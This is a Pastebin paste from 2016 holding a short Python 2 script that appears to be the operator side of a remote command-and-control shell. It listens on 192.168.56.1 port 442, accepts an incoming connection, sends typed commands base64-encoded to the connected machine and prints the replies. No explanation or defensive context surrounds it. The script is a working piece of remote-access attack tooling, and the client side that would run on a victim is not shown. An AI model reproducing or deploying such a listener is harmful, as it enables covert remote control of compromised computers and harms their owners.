Advertisement
BornePlays

xz

Jun 5th, 2016
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.70 KB | None | 0 0
  1.  
  2. import socket, base64, time, sys
  3.  
  4. def commands():
  5. while True:
  6. command = raw_input('[*] Command: ')
  7. if command == 'quit':
  8. s.close()
  9. sys.exit()
  10. encode = base64.encodestring(command)
  11. client.send(bytes(encode))
  12. en_data = client.recv(2048)
  13. decode = base64.decodestring(en_data)
  14. print decode
  15. commands()
  16.  
  17. print('[*] Server Started!')
  18. time.sleep(1)
  19. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  20. s.bind(('192.168.56.1', 442))
  21. s.listen(2)
  22. print('[*] Listening for incoming connections!')
  23. time.sleep(1)
  24. (client, (ip, port)) = s.accept()
  25. print('[*] Received Connection: ' + ip)
  26. commands()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement